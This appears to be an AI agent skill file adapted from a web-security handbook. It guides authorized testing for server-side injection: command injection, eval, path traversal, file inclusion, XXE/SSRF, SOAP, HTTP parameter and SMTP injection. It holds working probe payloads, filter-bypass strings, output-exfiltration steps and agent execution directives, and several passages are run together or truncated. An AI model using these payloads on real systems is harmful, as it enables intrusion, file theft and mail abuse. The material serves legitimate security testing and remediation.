You have authorized access to a web application and need to test its back-end components for injection vulnerabilities that do not involve SQL databases.
This skill applies when:
?file=, ?template=, ?include=), admin functionality, or feedback/contact formsThe foundational insight: Web applications act as intermediaries between users and a variety of powerful back-end components. Each component speaks a different language with different metacharacters and escape semantics. Data that is safe in HTTP can be dangerous when interpreted by a shell, an XML parser, a filesystem API, or an SMTP server. An attacker who controls what these components receive can often go far beyond what the application intended — reading arbitrary files, executing arbitrary commands, or pivoting to internal network services.
Authorized testing only. This skill is for security professionals with explicit written authorization to test the target application.
Why: white-box testing enables direct identification of dangerous API calls (exec, include, mail()), dynamic execution patterns, and XML parsing configuration; black-box testing relies on behavioral probing only.
Why: shell metacharacters differ between Unix and Windows; PHP include() enables Remote File Inclusion while ASP Server.Execute supports only Local File Inclusion; dynamic execution (eval) behavior is language-specific.
package.json, requirements.txt, pom.xml, framework config files, server bannersWhy: any parameter — query string, POST body, cookie, HTTP header — may be passed to a back-end component. Incomplete scope means missed findings.
file, filename, path, template, include, page, lang, countryexec, shell_exec, system, popen, Process.Start, wscript.shell, Runtime.execContent-Type: text/xml or application/xml in requests, AJAX endpoints processing XML bodiesACTION: Enumerate all parameters and input channels across every application function, looking for the following high-value targets: (a) parameters that appear to specify files or directories; (b) admin interfaces for server management (disk usage, process listing, network diagnostics); (c) XML-based endpoints (AJAX, REST with XML bodies, SOAP services); (d) feedback or contact forms; (e) parameters that appear in back-end HTTP requests (look for loc=, url=, host= parameters).
WHY: Server-side injection vulnerabilities do not cluster in predictable locations. OS command injection is common in admin interfaces. Path traversal appears wherever file retrieval occurs. SMTP injection only exists in mail submission functions. A systematic surface map prevents missing entire vulnerability classes. Any parameter in any request — including cookies — may be passed to a vulnerable back-end component.
AGENT: EXECUTES — Grep source code for dangerous API calls and file access patterns; catalog parameters from HTTP traffic.
# White-box: grep for dangerous calls
exec|shell_exec|system|popen|passthru|eval|include\(|require\(
Process\.Start|wscript\.shell|Runtime\.exec
mail\(|smtp|sendmail
file_get_contents|fopen|readfile|include_path
XmlDocument|DocumentBuilder|SAXParser|XMLReader
ACTION: For each parameter likely involved in OS command execution, submit the following all-purpose time-delay probe. Monitor response time — a ~30-second delay indicates successful injection:
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
If the application may be filtering specific separators, also submit each of these individually and monitor timing:
| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping -i 30 127.0.0.1 %0a
` ping 127.0.0.1 `
WHY: Time-delay inference is the most reliable blind detection technique. When injected commands produce no output visible in the response — because results are discarded, because output is batched, or because the injection runs in a separate process — timing is the only reliable signal. The ping command is the canonical probe because it produces a predictable, controllable delay on both Unix (-i interval) and Windows (-n count). Testing multiple separators maximizes detection probability when the application filters some.
IF time delay is confirmed → repeat test 2-3 times varying -n/-i values to rule out network latency anomalies.
IF timing is confirmed → attempt retrieval of output by:
dir > C:\inetpub\wwwroot\foo.txt or ls > /var/www/html/foo.txtmail command to send output via SMTPwhoami or id and exfiltrate resultIF full command injection is blocked → test for parameter injection: insert a space followed by a new command-line flag (e.g., if the app calls wget [url], try appending -O /path/to/webroot/shell.asp). Also test whether < and > are allowed for file redirection.
ACTION: For any parameter that may be passed to eval(), Execute(), or similar dynamic execution functions, submit these detection probes as each targeted parameter value:
;echo%20111111
echo%20111111
response.write%20111111
;response.write%20111111
WHY: Dynamic execution vulnerabilities arise when user input is incorporated into code strings executed at runtime by eval (PHP, Perl), Execute() (classic ASP), or similar constructs. These differ from shell injection — the injected code is interpreted by the scripting engine, not a shell, so different metacharacters apply. The semicolon terminates the preceding statement and begins a new one. If 111111 appears in the response without the rest of the submitted command string, the input is being executed as code.
IF 111111 is returned alone → the application is vulnerable to scripting command injection. Confirm with a time-delay: submit system('ping%20127.0.0.1') (PHP) or equivalent.
IF PHP is suspected → also try phpinfo() to obtain configuration details.
ACTION: For each parameter that specifies a filename or directory:
Step 4a — Detect traversal handling. Modify the parameter to insert a subdirectory and a single traversal sequence that returns to the same location. If the application uses file=foo/file1.txt, submit file=foo/bar/../file1.txt. If both return identical behavior, the application is likely processing traversal sequences without blocking them — proceed to Step 4b.
Step 4b — Traverse above the start directory. Submit a long traversal sequence targeting a known world-readable file:
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini
Use many sequences — the starting directory may be deep in the filesystem; redundant ../ sequences are harmless once the root is reached. Try both forward slashes and backslashes.
WHY: Path traversal vulnerabilities occur when user-controlled data is incorporated into filesystem API calls without proper canonicalization and validation. The ../ sequence (dot-dot-slash) instructs the filesystem to move up one directory. An application that constructs a path as C:\filestore\ + user_input and opens the result will read any file accessible to the web server process if the user_input contains ..\..\windows\win.ini. The consequences range from sensitive file disclosure (credentials, source code, configuration) to arbitrary file write (which can lead to code execution).
Step 4c — Bypass filters. If naive traversal is blocked, see path-traversal-bypass-matrix.md for the full bypass sequence. Key techniques:
%2e%2e%2f (dot-dot-slash), %2e%2e%5c (dot-dot-backslash)%252e%252e%252f%u002e%u002e%u2215%c0%ae%c0%ae%c0%af....// or ....\/ (inner ../ is stripped, leaving ../)../../../../etc/passwd%00.jpg (truncates file type suffix check)filestore/../../../../../etc/passwd (satisfies starts-with check)Step 4d — Test write access. If the parameter is used for file writing, test with a pair: one file that should be writable (../../../tmp/writetest.txt) and one that should not (../../../windows/system32/config/sam). Different behavior between the two confirms a write traversal vulnerability.
WHY write access matters: An attacker with write traversal can create scripts in users' startup folders, modify in.ftpd to execute commands on connect, or write scripts to a web-accessible directory for immediate execution via browser request.
ACTION — Remote File Inclusion (RFI): Submit a URL pointing to a server you control as the value of any parameter likely used in an include() or require() call. Monitor your server for an incoming HTTP request.
?page=http://your-server.com/probe
?Country=http://your-server.com/probe
If no connection arrives, submit a URL pointing to a nonexistent IP address and observe whether the application hangs (connection timeout indicates the server attempted to fetch the URL).
WHY: PHP include() and require() accept remote URLs by default unless allow_url_include is disabled. An attacker who can control the included URL can host a malicious PHP script on a server they control and have the vulnerable application execute it. The script runs with full server-side privileges.
ACTION — Local File Inclusion (LFI): Submit the name of a known server-side executable or static resource that the application is unlikely to expose via a direct URL.
/admin/config.php) and observe whether the application's behavior changes.WHY: Local File Inclusion allows an attacker to cause sensitive server-side files to be executed or their contents disclosed within application responses. Files protected by application-level access controls (e.g., /admin/) may be accessible via LFI even when direct HTTP access is blocked, because the include mechanism bypasses the web server's access control layer.
ACTION: Identify any endpoint that accepts XML input (look for Content-Type: text/xml or XML-formatted request bodies). Modify the request to add a DOCTYPE declaration defining an external entity that references a local file:
POST /search/ajaxsearch HTTP/1.1
Content-Type: text/xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
Observe whether the response contains the contents of /etc/passwd (Unix) or C:\windows\win.ini (Windows) in place of the entity reference.
WHY: Standard XML parsing libraries support external entity resolution by default. When the application reflects any portion of the XML data in its response, entity content is substituted inline before the response is generated. An attacker who can define SYSTEM "file:///etc/passwd" as an entity and reference it in an echoed element receives the file contents in the response. This bypasses all application-level access control because the XML parser, not the application, fetches the file.
IF file contents are returned → the application is vulnerable to XXE-based local file read. Escalate by:
/etc/shadow, application config files containing database credentials, source code fileshttp:// protocol instead of file:// to perform SSRF — cause the server to make HTTP requests to internal network addresses not accessible from the Internet:<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:25" > ]>
WHY SSRF matters: Internal services (admin panels, databases, payment processors) often lack authentication because they are assumed to be unreachable from the Internet. An XXE-based SSRF condition allows the attacker to use the application server as a proxy into the internal network, scanning ports, retrieving service banners, and potentially exploiting vulnerabilities in internal services.
IF the entity is fetched but not reflected → test for Denial of Service using an indefinitely blocking resource:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///dev/random" > ]>
ACTION: For each parameter that may be incorporated into a SOAP message:
test and test in turn. If either is returned in the response normalized as the other (or as just test), input is being inserted into XML-based messaging.WHY: SOAP messages use XML metacharacters (<, >, /) as structural delimiters. Unsanitized user input inserted directly into a SOAP message allows an attacker to add new XML elements, modify element values, or inject XML comments that suppress original elements. In the example of a funds transfer, injecting
IF SOAP structure is confirmed → look for error messages that disclose the full message structure. Use this to craft targeted injections that modify business logic elements (authorization flags, amounts, account identifiers).
ACTION — HTTP Parameter Injection (HPI): For each parameter that may be forwarded to a back-end HTTP request, attempt to inject additional parameters by appending URL-encoded parameter syntax:
%26foo%3dbar — URL-encoded: &foo=bar
%3bfoo%3dbar — URL-encoded: ;foo=bar
%2526foo%253dbar — Double URL-encoded: &foo=bar
Observe whether the application's behavior changes in a way that indicates the injected parameter is being processed by the back-end server (e.g., bypassing a validation check, triggering a different response).
WHY: When the front-end application copies user-supplied parameters into back-end HTTP requests without sanitizing URL metacharacters, an attacker can inject additional parameters. If the back-end service processes an injected parameter that overrides a security-critical flag (such as clearedfunds=true in a bank transfer), the attacker can bypass business logic controls that exist only in the front-end layer.
ACTION — HTTP Parameter Pollution (HPP): Determine how the target server handles duplicate parameter names. Submit the same parameter multiple times with different values, both before and after other parameters, and in query strings, cookies, and POST bodies. The server's behavior (using first value, last value, or concatenated value) determines where the attacker must place injected parameters.
WHY: When an attacker injects a parameter that already exists in the back-end request (creating a duplicate), HPP determines whether the injected value or the original value takes effect. Understanding the server's duplicate-parameter behavior is required to position the injection correctly.
ACTION: Identify all application functions that send email (contact forms, feedback forms, account notifications). For each field you can supply (From address, Subject, message body), submit these test strings with your own email address substituted at the relevant positions:
<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>
%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
Monitor the email address you specified — if any mail is received, the application is vulnerable. Also monitor for error messages that indicate the application is performing SMTP operations.
WHY: Applications that pass user-supplied input directly into SMTP conversations or mail() function parameters allow an attacker to inject additional email headers (Cc, Bcc, To) by inserting newline characters (%0a = LF, %0d%0a = CRLF). The SMTP protocol treats each line as a separate command or header. An attacker can cause the mail server to send messages to arbitrary recipients — enabling spam campaigns using the application's mail server, or sending phishing messages that appear to originate from the legitimate application domain.
IF header injection is confirmed → escalate to SMTP command injection: inject a complete new SMTP transaction by appending DATA, MAIL FROM, RCPT TO, and message body commands after the data terminator (a line containing only .). This produces entirely attacker-controlled messages originating from the server.
NOTE: Mail-related functions frequently invoke OS commands (sendmail, mail binaries). Also probe all mail-related parameters for OS command injection (Step 2) in addition to SMTP injection.
ACTION: For each confirmed vulnerability, write a finding with: vulnerability class, CWE identifier, severity, evidence (request/response or code snippet), and countermeasure.
WHY: Findings without countermeasures are incomplete — they identify the problem without enabling the fix. Specific, actionable remediation aligned to the vulnerability mechanism enables developers to address root causes rather than applying superficial patches.
Severity guidance:
Countermeasures by class:
| Vulnerability | Primary Countermeasure |
|---|---|
| --- | --- |
| OS Command Injection | Avoid OS commands entirely; use built-in APIs. If unavoidable: allowlist input to alphanumeric only; use APIs that pass arguments separately (not shell strings) |
| Dynamic Execution Injection | Never pass user input to eval()/Execute(). Use allowlist validation if unavoidable |
| Path Traversal | Avoid passing user data to filesystem APIs. If required: decode and canonicalize input, check for traversal sequences, verify resolved path starts with expected base directory using getCanonicalPath() (Java) or GetFullPath() (.NET); use chroot environment |
| File Inclusion | Disable allow_url_include in PHP. Use a hardcoded map from identifiers to file paths; never pass user input directly to include/require |
| XXE | Disable external entity processing in the XML parser; use a local schema for validation |
| SOAP Injection | HTML-encode XML metacharacters (< → <, > → >, / → /) in all user input before insertion into SOAP messages |
| HPI / HPP | Validate and sanitize parameters before forwarding to back-end requests; do not pass user input as raw parameter values into back-end URLs |
| SMTP Injection | Validate email addresses with a strict regular expression (rejecting newlines); strip newlines from Subject fields; disallow lines containing only . in message bodies |
Server-Side Injection Assessment Report containing:
# Server-Side Injection Assessment — [Application Name]
Date: [date]
Assessor: [name/team]
Mode: [black-box | white-box | hybrid]
## Executive Summary
[2-3 sentences: overall posture, highest severity finding, priority recommendation]
## Findings
### [FINDING-001] [Vulnerability Class] — [Parameter/Endpoint]
- CWE: CWE-XX
- Severity: [Critical | High | Medium | Low]
- Endpoint: [URL + parameter name]
- Evidence: [request/response excerpt or code snippet]
- Countermeasure: [specific remediation]
## Attack Surface Coverage
[Table: Class | Parameters Tested | Findings Count]
../ from URL parameters provides no protection if the filesystem API receives the unfiltered value from another source. Testing must target the component's input, not just the HTTP layer.-n/-i) and repeating the test rules out network anomalies.../ but fail against encoded variants. Work through encoding levels in order: plain → URL-encoded → double-encoded → Unicode → overlong UTF-8. Test non-recursive stripping separately. Combine traversal bypasses with file-type suffix bypasses when both filters are present.Scenario: Penetration test of a web-based server administration panel
Trigger: "We need a pentest of our admin portal before we open it to remote access. It includes disk usage reporting and file browsing."
Process:
?dir= parameter in disk usage function and ?filename= parameter in file browser.|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & as dir value. Response takes 30 seconds — confirmed blind command injection (CWE-78, Critical). Confirm by varying delay to 10 seconds — response time changes proportionally.../../../../../../../../etc/passwd as filename value — server returns /etc/passwd contents (CWE-22, High). Filter bypass not required.id > /var/www/html/tmp/out.txt — retrieve out.txt via browser — confirms execution as www-data.Output: 2 findings (Critical OS command injection, High path traversal). Countermeasures: replace shell call with du Python library; canonicalize filename parameter and verify it starts with expected base path.
Scenario: Security code review of a PHP e-commerce application
Trigger: "Review our codebase before the launch. We're concerned about injection risks in the file handling and the contact form."
Process:
include(, eval(, mail(, exec(, file_get_contents( — finds include($_GET['page'] . '.php') in main.php and mail($to, $subject, $message, "From: " . $_POST['email']) in contact.php.include() with user-supplied page parameter — no allow_url_include check. RFI confirmed in code (CWE-98, Critical). LFI also confirmed — path traversal bypass allows access to ../config/database.php.SimpleXMLElement — no LIBXML_NOENT flag disabling entity expansion. XXE confirmed in code (CWE-611, High).mail() additional_headers parameter built from $_POST['email'] without newline stripping — email header injection confirmed (CWE-93, Medium).Output: 4 findings (Critical RFI, High LFI+XXE, Medium SMTP injection). Countermeasures: disable allow_url_include, replace include($page) with allowlist map, configure XML parser with LIBXML_NOENT, validate email address against RFC5322 regex rejecting newlines.
Scenario: Black-box assessment of an enterprise application with XML-based AJAX search
Trigger: "Our AJAX search endpoint processes XML — can you check it for injection issues?"
Process:
Content-Type: text/xml, body test file:///etc/passwd into SearchTerm element. Response contains /etc/passwd contents inline in file:// with http://10.0.0.1:8080/ — response contains internal admin panel HTML — confirmed SSRF reaching internal network (High, escalated to Critical combined finding).True Output: 2 findings (Critical XXE+SSRF, High SOAP injection). Countermeasures: configure XML parser to disable external entity resolution; HTML-encode all user input before SOAP message construction.
This skill is licensed under CC-BY-SA-4.0.
Source: BookForge — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
This skill is standalone. Browse more BookForge skills: bookforge-skills
共 1 个版本